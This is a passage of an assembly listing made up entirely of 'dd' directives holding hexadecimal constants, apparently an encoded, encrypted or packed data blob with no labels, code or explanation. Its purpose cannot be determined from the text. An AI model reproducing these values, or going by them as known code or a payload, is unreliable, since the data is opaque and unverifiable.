		dd 50D6A2DEh, 722C405Dh, 888AC5C9h, 0DA1727F0h,	0A7CC2CDBh
		dd 4E82B75Bh, 771DE040h, 0DEF7BE80h, 0A39A8AE9h, 0FBDAD49Dh
		dd 5A5B6413h, 250A0F01h, 0A23F47F9h, 2C864841h,	6C1E4568h
		dd 445116CCh, 59CB1209h, 0D86F0743h, 4021D6CFh,	237D4FEEh
		dd 0A6C32934h, 0E58080Ch, 4309187Eh, 6C152A34h,	0BE28CA28h
		dd 0BFEF8595h, 0FA1728A2h, 4F3CFA5Fh, 0ACC97C68h, 8B6AB1F0h
		dd 3CD6153Fh, 0FC80FFC9h, 7EEF2C23h, 0B27BE34h,	2EC33380h
		dd 291F1312h, 8C810FEh,	6D2AEF4Eh, 0B891304Bh, 96313079h
		dd 2BAB6C3Ah, 5C25B02Eh, 3ACD0D5Fh, 0C0869BE4h,	6E3CCF4Bh
		dd 90B031EBh, 25E90144h, 51015CBFh, 3E5255EFh, 8D416E8h
		dd 1D490BD6h, 0E47F829Ah, 0D1F9972Bh, 8DC55F49h, 205A9D08h
		dd 1DE20FCCh, 0D96B7B05h, 0BF1D12F2h, 9E312433h, 0A842ECAh
		dd 350F5E7h, 0F902A8EFh, 2581D7F7h, 4AE9A280h, 18373F74h
		dd 0F8A5A93h, 4DA6EF69h, 0CF016E03h, 69083441h,	0E6B25CEh
		dd 56E16B7Bh, 0EBE9F0C2h, 0F6584C69h, 87F7A745h, 0F5E3525Ah
		dd 3875607Eh, 12D777Ah,	5C4CCD48h, 0BD283D3Bh, 0E58B0C0h
		dd 1684042Fh, 5693E903h, 0C13CAED4h, 62F42A68h,	71C820D5h
		dd 3E8CBE05h, 29C7068Eh, 64D17417h, 4F704D45h, 59D99F91h
		dd 6A10A6CAh, 58C9A04Ah, 17609341h, 0B27659A5h,	0DA252E13h
		dd 87E91237h, 92178DE5h, 0FFD22A92h, 0F7026FD1h, 0DF7FAF7Ah
		dd 79C35860h, 0FB750328h
		dd 0A3FD1209h, 1B8D491h, 86042B05h, 0E4DDD67Bh,	96F92FF1h
		dd 0DC30F146h, 31C3D1AAh, 5BFA2504h, 54FFA1CBh,	0C652AB8Dh
		dd 0F84FC8A9h, 133900FDh, 0D131CABBh, 0C8892E5Ah, 35F94693h
		dd 0B85B5076h, 51F733C4h, 43F5FC69h, 388CC525h,	0D2E91602h
		dd 9298A956h, 0F111B0BEh, 1BB92207h, 0B746E97Ah, 11E648C9h
		dd 465D9627h, 334E2779h, 2E6C9919h, 0C0AFB617h,	8E0921B8h
		dd 19F19A4Eh, 0B6A7D17Eh, 1AA86B71h, 0D6E220E9h, 0C80C082h
		dd 0B3530207h, 0B0CB806Ah, 609411C1h, 0F61EFA19h, 0EF1FED3h
		dd 0C72F20E1h, 216F8DA8h, 0E8BD206Bh, 44F2721Fh, 2117EA89h
		dd 5891C80Ch, 408CFE82h, 0B7849D80h, 69BEB059h,	0B2602521h
		dd 0DBDC5811h, 0CF467527h, 64685912h, 9DEC8B8h,	16F74117h
		dd 0CCA2040h, 51EE6825h, 8754944Ch, 32E0AEB5h, 0C1561895h
		dd 0CB8640EDh, 544C7EB7h, 40EC8944h, 0B939514Ah, 10C682CCh
		dd 0DA59CF29h, 750520A8h, 4E0E9480h, 252C8301h,	155A7F9Bh
		dd 0C514D38h, 0C3B467BAh, 0FF4EC553h, 0BF0CD196h, 4F0DDF2h
		dd 0B86D4054h, 98F0FABFh, 0D7738E76h, 0C45FA13h, 0D7909584h
		dd 75D16857h, 5F252623h, 416402AAh, 0C85F580Fh,	9747347Ah
		dd 6B4A9414h, 688A8CFFh, 5DD61D4Eh, 0A3FEB710h,	89F08478h
		dd 72FA9D17h, 99897567h, 0C871675h, 56CC202Dh, 0E50BC382h
		dd 8274A527h, 57140834h, 69EB6600h, 531AFA4Dh, 628F301h
		dd 121E5E08h, 1F493751h, 9F8682Ch, 6F993CB7h, 8142150Bh
		dd 0D16E0757h, 781A2D30h, 37577F6Bh, 60FD1453h,	36C2A68h
		dd 0B9595E75h, 0E7715F2Ch, 58401h, 0F814EE70h, 5CB765C2h
		dd 836A08F9h, 0D740F689h, 0F8DDAD09h, 627C2535h, 0B0ED4C57h
		dd 20364B63h, 68DBF731h, 0C220E526h, 7C068BC0h,	0E1810060h
		dd 19B5285h, 0A760F1E9h, 7170B950h, 4E7849E6h, 0A6CE9C0Bh
		dd 0C4E98CE0h, 0C52F1C9Ch, 585488EBh, 9C5364h, 26CDB206h
		dd 125030FFh, 41F2AB49h, 7F932018h, 5D266DAAh, 860E0138h
		dd 0C1184A57h, 4D412302h, 0E842D56Fh, 82D54F62h, 77E89CE3h
		dd 0F3B156E7h, 6F9335E9h, 0BD87BF2Dh, 0B8B2285Ch, 0FFCE8273h
		dd 81B0FB64h, 232E3002h, 89CF8760h, 49C1C1B5h, 0B98837D8h
		dd 7A800107h, 0D289AF2Ah, 5F2BC9DDh, 9265CA6Eh,	0CB5867FFh
		dd 0BF894C68h, 2D75E697h, 0BCF18006h, 98D930A8h, 693E5E14h
		dd 4BA87BCDh, 0EE48B884h, 0BE5B2E28h, 5155522Dh, 0E1F7C0C3h
		dd 58B41268h, 0AD1CE963h, 0DE5298BBh, 4A250BD4h, 0E66ADAA5h
		dd 54445B47h, 29054ECDh, 0ED9800FDh, 25E127C8h,	0F4F50126h
		dd 0CC20820h, 85BD582Eh, 71B9FFBEh, 669EEF0Eh, 8E45B51Eh
		dd 15F31C74h, 19677525h, 2A3E9621h, 2345950Ch, 5A212308h
		dd 688993D9h, 664871FAh, 0BB804C40h, 0E60400B6h, 16C78132h
		dd 5100C256h, 0BA52DF29h, 3FEA3CD9h, 13FC4A1Ah,	0D8193Eh
		dd 5B5AD75Bh, 0DF6073E9h, 6B0EF373h, 0C16603Fh,	0D863C6E3h
		dd 0DE724890h, 6625D6B2h, 2098A032h, 2633B473h,	1442E6C1h
		dd 4C72C0EEh, 0FF0B15D6h, 5386398Fh, 0F22D3AF1h, 0ACC6A012h
		dd 0BDFA2631h, 3FBDFA60h, 77E3820Bh, 26C35729h,	5C576B8h
		dd 6D8AE912h, 0F8885847h, 88F04A85h, 2D82B828h,	7056C1FEh
		dd 0A6E94C56h, 0C676305Ah, 0ACB84436h, 0DC4F236h, 90E91890h
		dd 665C62B5h, 16497790h, 74680AEEh, 5949226Bh, 0E7772768h
		dd 0E956874Dh, 0DF39CC2Ah, 22545B62h, 235109EEh, 304DB760h
		dd 7BE92EF9h, 0C6FE8048h, 28AAF680h, 8838F37Ch,	5BE85F51h
		dd 24BE2E0h, 5268761Ch,	31C7B9A6h, 0EA6BD8B3h, 1278D83Fh
		dd 0EB9741E9h, 0C0960137h, 0CB012DE5h, 26D7BD1h, 0E09AAC6Bh
		dd 9D2D6268h, 55402F67h, 97505EE9h, 0D388A373h,	469B883Ch
		dd 0EA045F28h, 0BA139A20h, 27A917AEh, 0FE317151h, 85A43FCDh
		dd 152109EAh, 307D4A26h, 2798E4B5h, 8D045743h, 0F5808152h
		dd 0B4E32E65h, 1C76F102h, 0E9F0318Ch, 2DD02900h, 70583A33h
		dd 0B5B572E9h, 70EBF276h, 0F354952Bh, 582F7C6Bh, 5180B44Eh
		dd 11220468h, 0AF59146Fh, 1AC1AD98h, 40DF0FF1h,	6E057860h
		dd 3F113D12h, 70097E1h,	0DCEA17E9h, 5AD30F34h, 0D8C00E04h
		dd 6B647ADEh, 27812110h, 122DB7EDh, 0E9F827h, 68D861E1h
		dd 7B944547h, 0D010532Ah, 0EC2D0245h, 7675B933h, 984CAFE1h
		dd 5597B60h, 9DF24C6Bh,	2111B04h, 46318768h, 0F2534FA7h
		dd 0B78C9F3h, 0BF4E6077h, 7E6600D4h, 0CF814F5Dh, 7C2639CCh
		dd 6127623Dh, 0D260AD3Dh, 0E66D1899h, 11328C23h, 2D207100h
		dd 418F4E47h, 280EB548h, 8E2813Eh, 0A521ACE3h, 0E2F50BEh
		dd 45165737h, 0CB5583FEh, 56002B15h, 2D7160C9h,	0A6F18FE9h
		dd 4ABF0097h, 0D1147237h, 0C75883E7h, 82A45B32h, 29494060h
		dd 2F8864B5h, 31997D4Eh, 0BAC6515Ch, 0FFB16F5Ah, 0B794F6E8h
		dd 209B4AAh, 0E455F2BCh, 19CB4077h, 0F54BAA3h, 8BD74872h
		dd 0A8F49645h, 5F77C15Ah, 2F2BB4h, 4EC41202h, 5D97D529h
		dd 0B2973B9Ch, 0F9D17731h, 89DFAEA7h, 0CD7F58CDh, 0F373FB86h
		dd 629955B1h, 0F507925Ch, 0B36068Dh, 2A30080Ch,	0F7010A20h
		dd 2954A83Ch, 20DC43Eh,	87A9E908h, 2030E3DBh, 4F715731h
		dd 4004FD64h, 0D4975908h, 0C6DAEB79h, 941CFF25h, 0B05D4AB3h
		dd 0E840E7CAh, 138200BAh, 0E2D111F2h, 1C90D2F7h, 9C6A1E0Bh
		dd 0C2740F28h, 0F727B040h, 48B0C9C3h, 0CA51E82Dh, 20B02FC3h
		dd 0E9D01231h, 7667F987h, 4A843F38h, 21542DAAh,	270020B5h
		dd 5667009h, 49F27559h,	7876B7h, 42D657EBh, 5F4B535Eh
		dd 0E9D4FCB2h, 7B87602Dh, 55DA8259h, 19B4F960h,	0FC0ED92Fh
		dd 2451078Ah, 0D80CCC47h, 46287F02h, 4CCAC6E9h,	1F419916h
		dd 676CAF29h, 47765179h, 410F1ED3h, 59706A2h, 0EEAF972Fh
		dd 0E9C69F45h, 9510522h, 0FA8217ADh, 81DD4B78h,	0C48FF014h
		dd 0F6C772E7h, 22F76035h, 7E4C0704h, 7E282DF5h,	27D4C29Ch
		dd 59935759h, 85B3E774h, 5A627E09h, 0A81DE0Fh, 400CE1E9h
		dd 961365DEh, 582D7F5Dh, 2EC51D4h, 445D5F0Bh, 74BAC17Fh
		dd 0F22A7879h, 6C2DD74h, 876CF3C1h, 0B390268h, 0AE6ACDDFh
		dd 16E9929Bh, 0C09FABC7h, 17503C10h, 0F00B44BEh, 941CFDD4h
		dd 0D193D1F6h, 75CC925h, 8008AACFh, 7A757F8Ah, 0A4317C40h
		dd 0BC3920D4h, 5B476812h, 34B566BAh, 0BC29CC0Bh, 0A2405D0Fh
		dd 5F0231D6h, 65E95358h, 2D7BF5A1h, 0E11158BFh,	30005F1Ah
		dd 802E58E3h, 0E5083CC3h, 594B884Ch, 1DE18100h,	4841D351h
		dd 0B012CC52h, 0DD50C830h, 0F1050126h, 0D7FF7716h, 0EB795508h
		dd 0BBC0F0B2h, 664D789Eh, 5D9AE916h, 34828F26h,	81085A87h
		dd 0C8BEE2h, 284A89BBh,	0AEE18A4h, 5637731Bh, 0DE9E22Ch
		dd 0F49F12D8h, 9968588Fh, 0E32344Ah, 89FD2910h,	3E7F4551h
		dd 328BA82Dh, 42FE35C0h, 0D45A0ECBh, 95F2849h, 0A3F5BCBAh
		dd 5D28D0FCh, 0AA15740Bh, 28287D69h, 27062B08h,	0D86C5F40h
		dd 0C1B23D4Eh, 0B6D2AE4Ah, 7FE4A9B0h, 0B6A8ADE7h, 0FA36818h
		dd 81BD08C3h, 75FECACh,	87B674A8h, 3FF0282Eh, 166D2A08h
		dd 5BD0FB5Ch, 3CC0BCB0h, 199D03E0h, 0C80EB9FEh,	0C101D934h
		dd 0C3232C58h, 0C1A404CBh, 78DD84h, 96448968h, 0D8A862F6h
		dd 48042DD2h, 21D68A01h, 11E504FFh, 0CB10F87Ch,	575DC2CEh
		dd 64698F73h, 1BF02F8h,	93CA902h, 0DB62AC61h, 9E59182Fh
		dd 19559D9Fh, 0E9641137h
		dd 0A7D9955Eh, 0DC707FE9h, 9B74D130h, 2635FBC6h, 0B435404h
		dd 927757EEh, 27E5D01h,	0C21DFDC9h, 7145C18h, 3E29265Fh
		dd 209F261Eh, 18A2B508h, 66016476h, 396BCB21h, 5E56645Eh
		dd 88601141h, 978A0BF5h, 27DB168h, 75AA11Ah, 0A5836257h
		dd 0A292075h, 986CDF04h, 432B0928h, 907F1BAEh, 7B1A343Fh
		dd 7FE9497Ch, 575DA272h, 3F13EC00h, 4AC0603Ah, 129A443Dh
		dd 83C75B29h, 0EAF5778Eh, 3B8CE204h, 4ADCB909h,	0A491D5A5h
		dd 0A0E90154h, 0BD581B24h, 0F681C560h, 4F607909h, 0E8595D1Ah
		dd 0E4E8905Ah, 0C1DF7917h, 4B06F4D6h, 60FC2ADBh, 1E9FBC74h
		dd 3BE46DBEh, 0B779D120h, 30909578h, 129D71B7h,	2829BF05h
		dd 52A67F20h, 0B804ED02h, 8247035Bh, 6C777B7Eh,	94559DF3h
		dd 0F8681CB4h, 38DD2538h, 5B85E9A7h, 0D57FA76h,	0F13087CDh
		dd 0B96C40CCh, 6002D53Fh, 3530C180h, 31801207h,	0B65E92CDh
		dd 6816BDF0h, 63E37571h, 19798101h, 6BEED144h, 90874598h
		dd 0DD6E4809h, 0B8B42000h, 5BDE290Fh, 8AF6813h,	135F528Ch
		dd 0AB5EBB4Ah, 0E125EBE2h, 0E9150D94h, 22AF7B5Ch, 574409FBh
		dd 1400789Dh, 338B5E74h, 5D167B9Eh, 39D49110h, 994593D3h
		dd 821A1764h, 0B24A820Eh, 137D0A4Bh, 73748F3Fh,	201FE04Ch
		dd 3ABD02E5h, 907AB2Ah,	138DAF8Ah, 2A4029B6h, 0E9127AF6h
		dd 28CEC3ACh, 5880FA36h, 8CB52F56h, 1377CA20h, 49016269h
		dd 6199C981h, 70312AF5h, 0DD52CB52h, 16AB1A84h,	5A06DAE4h
		dd 0C4B9EC8Fh, 570B10A6h, 6E300D01h, 0C2E03B84h, 5E28CB9Ch
		dd 0AE5D4122h, 57020502h, 0E986A267h, 2E1C66D4h, 5F444BFh
		dd 0C0DFF741h, 6A4D01ECh, 7F467940h, 0E91B0975h, 1922724Ah
		dd 98ED1541h, 7D23E98Bh, 0F90513A5h, 78247B7Ch,	68C17EE4h
		dd 7FC20ECBh, 0DDC9AC51h, 0DDA56DCDh, 0F3DC5C29h, 7CB4DD25h
		dd 79E1F624h, 0C8495410h, 779A680Ch, 0A34928B1h, 54538611h
		dd 62FDFCA7h, 3E3A2722h, 0E2F70803h, 0F89D70EBh, 1619D32Eh
		dd 0A41CF2DDh, 71946DEDh, 0A030DE00h, 1F79E961h, 68FB48BFh
		dd 304F5F45h, 197827B0h, 82B01C4Bh, 200F0925h, 8BF5744Ah
		dd 0FF4185F8h, 0BB2DAFC0h, 3913255Bh, 720F5F6h,	6FC1B081h
		dd 0F4AE2E52h, 0B90B6822h, 973FA0Bh, 0F2D9D8DCh, 26D8F95Eh
		dd 0C1D90CF7h, 0F43E03E1h, 340B4212h, 3F1EF5FBh, 4A017AD5h
		dd 193E0E63h, 90035170h, 107F0B7Dh, 3E89252Dh, 687EA329h
		dd 0CAA460F0h, 0BD804E95h, 5D007C2Fh, 257F9BEh,	0EE00F2B8h
		dd 0C87AED99h, 685EF131h, 3E84A549h, 0A906177Dh, 58FBED29h
		dd 63B82D49h, 0B9F5DBA3h, 7F926C54h, 55AE0BE8h,	71B7E820h
		dd 0CA0FF780h, 0BD03EFC0h, 5EA502A6h, 5C8B02A0h, 0CC0177Eh
		dd 0C6BDFAC2h, 7F150957h, 9CD50488h, 0AFA24Ah, 1A16FF89h
		dd 6BFEA07Dh, 0B5251220h, 8403D431h, 6FA0A13Ah,	0E952DC63h
		dd 8E57B815h, 319A1B64h, 0B117A85Eh, 53627DBDh,	33F2A39Bh
		dd 0BA0555F0h, 1654205Ch, 0B7184C2h, 87621EDCh,	0E9CCF0F7h
		dd 0B268E0DBh, 0A7D1A824h, 0B753800Bh, 0F0043E5Bh, 0FE1650E0h
		dd 0EEF11540h, 0FC025193h, 0CE4BF2Fh, 5B2568F0h, 0D217DE08h
		dd 944DD15Fh, 7013E7CFh, 0AE73BF7Fh, 3F96E142h,	898535A7h
		dd 0EE57E495h, 0F750D612h, 77E1AC87h, 496F74A4h, 24627835h
		dd 856C67F5h, 4E07C5E9h, 0ECE4D2E4h, 0EE8AA88h,	104F3C84h
		dd 0C0D33DB7h, 0AE334AB5h, 50111BC7h, 0CC825854h, 30DB703Bh
		dd 135F8DAEh, 3D8C40A7h, 0BB0CE72Ch, 52D8F614h,	60782FA8h
		dd 73EA80D5h, 0E3C20701h, 3B5AD030h, 5C5AF7EBh,	0E9FE71AEh
		dd 252C6CE2h, 7D0BDF05h, 0F02F6DEh, 5F7D7E3Fh, 56474540h
		dd 0D1AE5797h, 15BD980h, 680050D1h, 48DB5187h, 13B20558h
		dd 1E15D0h, 64599704h, 0A0ED0119h, 0E9120878h, 76EF0AE6h
		dd 1B17742Dh, 57AADC67h, 8E99F077h, 92B55CB2h, 0E09155EDh
		dd 6A11D858h, 980CCB5h,	65FE3416h, 0D4DBF400h, 0A284454Dh
		dd 80DEFE0Dh, 4F2B0A0Ch, 174EB4E9h, 53DED240h, 62BB384Ch
		dd 73E90BDAh, 751889F5h, 68856DE5h, 48BF4E63h, 34287C65h
		dd 5B18A64Dh, 61322C2h,	8839A414h, 14EA2FFDh, 526618BAh
		dd 0D2F62686h, 17F10BD2h, 0D27AF27Ah, 5CE028EAh, 0B8806B92h
		dd 0BD622CD3h, 0DD2DFDC0h, 0CC273BEDh, 13AF2047h, 0F6667297h
		dd 68752C51h, 1307A0BDh, 0FBF9015Eh, 953BF7D8h,	0D35F5C42h
		dd 0F260372Fh, 0F749EDAAh, 830B2BE2h, 12465C4h,	5A63D6F1h
		dd 0A5E96E70h, 0FCCDAD28h, 4C242522h, 6005B207h, 2D6DC214h
		dd 421D370Fh, 1A364156h, 9F7803BEh, 89F20741h, 0C4920311h
		dd 5B6C2548h, 273F4FD7h, 0BFC0429Ah, 0E6976E12h, 0B8FD9503h
		dd 6F71E9E1h, 9F6AD762h, 164012B5h, 5D0EC0B3h, 0A4A1C68h
		dd 0C8558423h, 5F3E460Eh, 78EE049h, 66CD811Eh, 0C3FB98Ch
		dd 1A4516E2h, 0B07DBC48h, 40545C5Eh, 0E918062Fh, 0F281A7EDh
		dd 0A67A04EEh, 0A8D7013Dh, 0B8FDA257h, 13D66828h, 0D83DA17Dh
		dd 0AF020DF9h, 0F7015076h, 13B340D8h, 3F82670h,	22E72051h
		dd 0EE049AD4h, 696020E2h, 0BF7325ACh, 65295770h, 38048D4Eh
		dd 14C0BD74h, 251176EBh, 9457154Fh, 40260B9Fh, 82764E99h
		dd 0B765942Dh, 0FF207D6Ch, 0B9895BAFh, 65FBC473h, 325D580Bh
		dd 27E67013h, 0AB9A3601h, 7E9B3781h, 6AE06EDFh,	0F7813F06h
		dd 0F8FE7B82h, 0C2C1FA01h, 0ECC00029h, 0E4801C03h, 0C1C4CE2Ah
		dd 30D4F4C1h, 5AC6EE7h,	29D1F8A2h, 6B4F486Fh, 0E042F159h
		dd 545155E4h, 3C175025h, 21A53B18h, 994019CAh, 638A4964h
		dd 0BBF70EA2h, 742F480Ah, 76A0B149h, 1D3BCE81h,	6858A905h
		dd 69A32445h, 9071902h,	0C5622106h, 7430F654h, 0FB0517EEh
		dd 0B9F15DC2h, 0FBC8F5CBh, 5794C7E9h, 0F6EA8603h, 6A0849D5h
		dd 37E9B361h, 70A22BBh,	783F01D9h, 0DA6D9EB2h, 0DA44B5F7h
		dd 618CD19Fh, 3E82684Eh, 0FC6D84F6h, 0E54E3154h, 7F7D3655h
		dd 0D6D44B2Eh, 4D148AADh, 0DE7E3C0Bh, 1235EA40h, 7672A357h
		dd 0A720E9B8h, 0D2589F79h, 48436209h, 0CFB88359h, 92AA96Bh
		dd 0EE6BE03Eh, 8A02EC7Fh, 89E95038h, 4FE4DF2Fh,	5F4D84F0h
		dd 91925A43h, 0F248FDB9h, 65D33CE0h, 1FE5BDE0h,	68891FBEh
		dd 77899F8Eh, 0C0A1604Ch, 4AE73A60h, 42E2D109h,	6C170580h
		dd 897AA601h, 0E1C18985h, 0BE5B1E82h, 6D1E6801h, 83465233h
		dd 58C12F79h, 2D8D38D7h, 58F5F86Bh, 7C250966h, 698C2F31h
		dd 145B2743h, 0B15114F1h, 0E214930Ch, 11936FB9h, 134A9448h
		dd 4E391D22h, 959475C8h, 1F152C1Ah, 7160455h, 1EC7D888h
		dd 701B244Eh, 9D26860Ch, 0FD31B912h, 5571D3AFh,	7B9E8DDDh
		dd 0E035C2F1h, 0AC09166Ah, 0BC72E4EFh, 15AF4B9h, 5433EEBFh
		dd 45187036h, 0FA6BFB94h, 0F9DCA3EEh, 1E8BE202h, 0C157E688h
		dd 92EB8D4h, 0D77E317Eh, 111E8F02h, 82F1FC23h, 3DB63235h
		dd 87C77176h, 0F61BFF97h, 56CEF278h, 994DE027h,	362411AEh
		dd 0C85A5C56h, 7B3DAB5Ah, 0C6D8B23Fh, 31C0D021h, 0F15717E1h
		dd 0A0163F5Eh, 2106E91Eh, 0CA2357Fh, 70F24DDFh,	0A62D840Ch
		dd 0E94DE8F4h, 863A6B79h, 7569725Ch, 3B380B69h,	0CAEE3E84h
		dd 7B502561h, 3F093D3Bh, 0E1807CD0h, 33881DD2h,	475E0E90h
		dd 6E127FA8h, 8DCA8882h, 6887041Eh, 21612B53h, 0BB043656h
		dd 0EE594B0h, 58A021A4h, 1E1F40DEh, 0EA315A57h,	224493D4h
		dd 24DD6045h, 381546CBh
		dd 0E00BE090h, 263A193h, 0F068E962h, 0E2BF07B0h, 0A5729753h
		dd 5F45A003h, 0D4B52DE2h, 0DE9F89F8h, 11882148h, 0FF9754E8h
		dd 277BC409h, 0F85388B3h, 0F2095DBBh, 0F6A52FBEh, 5B17A356h
		dd 4CCD47FAh, 4481E261h, 0FF582202h, 55F8D444h,	4C31819Bh
		dd 30847706h, 0EF4491C3h, 4AB692C0h, 0A29626E9h, 34208816h
		dd 0EE67F5A5h, 83BBE912h, 47802D90h, 0A0F4ADF0h, 0BB01EBB6h
		dd 5B06CF9Ah, 0EA4E156Ch, 44AEB464h, 17D416Ah, 66C0C380h
		dd 4BC6B23Bh, 0B7E148ECh, 0BB8960DCh, 1C3EB588h, 39CDC580h
		dd 2539F8DEh, 0D61C42D2h, 7CCD05Fh, 0B6993BCh, 0A7447F8Dh
		dd 0DC354025h, 0FF547115h, 0A3F5708Ah, 2CE45DAh, 0FC3F22Bh
		dd 0B34078DEh, 9A13430Dh, 0D0F82934h, 8C410841h, 0DC68B814h
		dd 0DA2A0193h, 3BD280A1h, 99FF7385h, 14A86F0Bh,	0D3CBFE92h
		dd 4E2ADC41h, 2AE7EAB5h, 1CF70B22h, 0DD8F834Ch,	9219A2FEh
		dd 0F05FD50Fh, 89F12904h, 0A4C7C2CEh, 7FCC2955h, 6E2D9898h
		dd 0A427C324h, 12691902h, 3E620F7Ah, 7A506AAEh,	34C59DA8h
		dd 5BBD5B3Dh, 402E0DE1h, 9227B402h, 2825E96Bh, 0D91BBBF3h
		dd 0B37A5032h, 0C108253Dh, 48205C52h, 0A1482E61h, 47B1162Dh
		dd 73E8D044h, 89BFC7DDh, 5CD69A55h, 53870228h, 0AC07DD5h
		dd 4DC47ADCh, 0D7BEEB80h, 0D2E4C280h, 1771E5FFh, 5464FB59h
		dd 0A5E45CD4h, 0BBB640DBh, 5624F17Ch, 0E9ACD079h, 790BEE94h
		dd 512CCB91h, 41049E2Fh, 0DCA36033h, 0F0CFC495h, 8FEBA869h
		dd 52404C47h, 0EC971C84h, 0A90482B0h, 7BE8755Dh, 24EC683h
		dd 0C001A7A3h, 1AE907E1h, 0E8050076h, 70023249h, 7812DE6h
		dd 2FDA8FE9h, 1E3F0840h, 9F01476Bh, 80BE0E2h, 0A451E7D7h
		dd 0B55CBEAh, 0CFD67611h, 0E3A33545h, 12101072h, 8BB12D1Eh
		dd 0E87C9491h, 0A45D0D93h, 0F76A0A0Bh, 53369400h, 0F7A13E3Fh
		dd 0D9BD0091h, 0F520EB21h, 53E6BF6Ch, 0E9110161h, 2C83C39Ch
		dd 4B77A135h, 3780BB8Ch, 1DDFDC68h, 925E1FA8h, 2AE3FFA2h
		dd 0DD42102Fh, 20A514D5h, 5409A6A7h, 0DDC5685Ah, 8136AA30h
		dd 49C8FD82h, 0ECBD3122h, 5D8C222Bh, 2CAE144Fh,	4C27E978h
		dd 80B87336h, 0AD43C905h, 4D2A6878h, 0EAB0571Fh, 0E0164F01h
		dd 548407Dh, 0F085A0E7h, 0A7C75089h, 6B3941CEh,	284A97F2h
		dd 0BE045668h, 0E17E89AEh, 316205EBh, 88C8BBD9h, 97EB0F81h
		dd 5A035665h, 0F231F753h, 9957E5Bh, 92301DEDh, 7DD197A9h
		dd 0FC803793h, 286CB81h, 687DB13Ah, 43541743h, 0D5388D60h
		dd 0D6F72D62h, 507E474Ah, 0DFB4613h, 60228E33h,	969FD42Fh
		dd 0B0CEC1C1h, 60C62830h, 0B1795128h, 35F18026h, 7342C08h
		dd 705EC135h, 7E106807h, 570907B3h, 2D8C5A14h, 2AF9F369h
		dd 0F2083D26h, 927C2D6Fh, 0DEDD521Ch, 9F08F053h, 6C324D0h
		dd 4D2F75Dh, 90F4FEF9h,	0EAD4542Fh, 0EC9B00D9h,	8DE94D2Ah
		dd 8110FF95h, 6C4C2268h, 9EA0D25Fh, 0B6945C11h,	3B35F204h
		dd 39C981E3h, 43BD7AADh, 5A1FF897h, 5731FD72h, 0C6734958h
		dd 68731505h, 335669D8h, 1E09FDE8h, 2F761803h, 0F606B509h
		dd 3E246F10h, 9A92185Eh, 26C0740h, 43E8CA81h, 9E076382h
		dd 109628EBh, 5C73E2C0h, 0E9530BF6h, 0EEF7C888h, 0AF0F3E40h
		dd 0C609277Fh, 69307EE6h, 0EFEDC343h, 0B85CF817h, 12DB9738h
		dd 677F2C02h, 94ABC33Ah, 44736802h, 0DB20C54Ch,	7F50A26Eh
		dd 19F6D770h, 8FBF474Ah, 313F18D8h, 184CED4Fh, 8A5D29F8h
		dd 2C272DFBh, 0A1B3FDDEh, 0C7C9CBC3h, 0EBF55359h, 3C5865BAh
		dd 45FB054Bh, 566320F5h, 5F1CB060h, 7B096494h, 659B5EA1h
		dd 79C40711h, 66AAE255h, 1B98E894h, 0C0917A97h,	4373E99Eh
		dd 7CBF1CC4h, 0FA0820EEh, 9D14701Bh, 31C417FEh,	525B3291h
		dd 0F121AF2Eh, 0A7832E0h, 5E2F7A94h, 2583A2A8h,	0F8F7465Ah
		dd 0A196774Dh, 0D6255C4Ah, 0C5D76916h, 388BA546h, 0D37289DFh
		dd 290BDAAh, 0A6B90136h, 0D1574572h, 0DEE0DFEEh, 582B6849h
		dd 120BF05Dh, 6F18F442h, 3FB7E172h, 0C160EE9h, 1326F356h
		dd 0EAFC81A3h, 2FB5BBE5h, 4134446Eh, 0EE1649h, 43BB535Fh
		dd 7ABCA92Fh, 0EEC1CD18h, 0AA07184Eh, 58440C0Eh, 2618F3Eh
		dd 0D65D1AF6h, 0D384F52Dh, 0EB6B8880h, 0F633729Dh, 80B05CC0h
		dd 457280A5h, 657CD63Eh, 2617E17Dh, 4BBB5BFCh, 0E45A844Dh
		dd 0B6525101h, 0A8C68076h, 0ECF0E6CCh, 0D0DE3BEEh, 88C5166Fh
		dd 7D4381F1h, 0B8BA0337h, 0BC1E6D15h, 305525CCh, 95ADE976h
		dd 285B7300h, 0CA652CF8h, 44BB5674h, 5412F0h, 0C6698BBh
		dd 59533341h, 0CF7B051Ah, 60F080EEh, 0FED1F601h, 3E1C0C1h
		dd 0B09C16Bh, 94B22E7Bh, 8477F18Bh, 0E2AB02FDh,	93E13B52h
		dd 1034AD8Ah, 0C50891FEh, 79BB0060h, 11CD2770h,	0AF4DAF20h
		dd 0A0B72B24h, 5B5EF580h, 0EF2BF2Dh, 3700FDEAh,	0E8295746h
		dd 977E13E9h, 104B8FF1h, 98C138FCh, 2F33200Ch, 4FEE2976h
		dd 7BAC7FF9h, 18312F1h,	6A6DE089h, 1DCC684h, 0BD55C101h
		dd 34FD52Bh, 4A5C74DAh,	64E880ECh, 395CCD6Fh, 4A0890BDh
		dd 20102287h, 7FD14A48h, 127EE4EAh, 562DE822h, 6C410B55h
		dd 0D58DEFF9h, 0B07E762Eh, 0B11227A2h, 0F5BEF4CFh, 21FA02E7h
		dd 0D160E75Eh, 0C02C8308h, 4F350E7Ch, 0F728415Dh, 0BB24E1D9h
		dd 0EE948DF5h, 564E10D8h, 0E0F80502h, 79C2DD47h, 21F0B542h
		dd 1F1EE695h, 8D387788h, 601CB2F7h, 254561BDh, 986BAC21h
		dd 4237EE25h, 78A976E0h, 7F3C9597h, 0D666E913h,	45ECA4DDh
		dd 9CE6B756h, 79A4C378h, 0AA41D709h, 51B90020h,	12168625h
		dd 215572E9h, 32767D7Ch, 0E930C95Ah, 0CB3FEDDBh, 13245F92h
		dd 505EB0EAh, 0B0201BBAh, 5CD8FD9Ah, 0A231B50Ch, 40357B2Bh
		dd 13515308h, 2ABE0454h, 3B680769h, 8F1B5F6Bh, 99714AC8h
		dd 16E90712h, 0A0C3AE84h, 0B8CCDD7Fh, 507A55h, 49DC078Eh
		dd 4AA52558h, 3BEC875Ah, 1AAF0277h, 62E94CD7h, 0F5F3076Bh
		dd 0D18D7A25h, 6E6703BFh, 0A8B44AC3h, 1FF30442h, 0D081601Ch
		dd 7DB7417Ch, 22B29273h, 56CEE55h, 5429852Dh, 0D190AF18h
		dd 459F5A82h, 82070447h, 0D564595h, 0A28C4C0h, 7A56B570h
		dd 61EB5917h, 2FB4BA08h, 2AA9C7B8h, 579E945h, 0AE07BEFDh
		dd 0B433E469h, 684ABACh, 7C08E3FEh, 5D19CF69h, 0A1C97BA6h
		dd 50F6879Dh, 26F046B4h, 0B784480Fh, 9418245Bh,	54E6BE1Ah
		dd 4B4C0450h, 6B4B9D7Ch, 12C811F0h, 0BB63D90Ah,	0E94B3201h
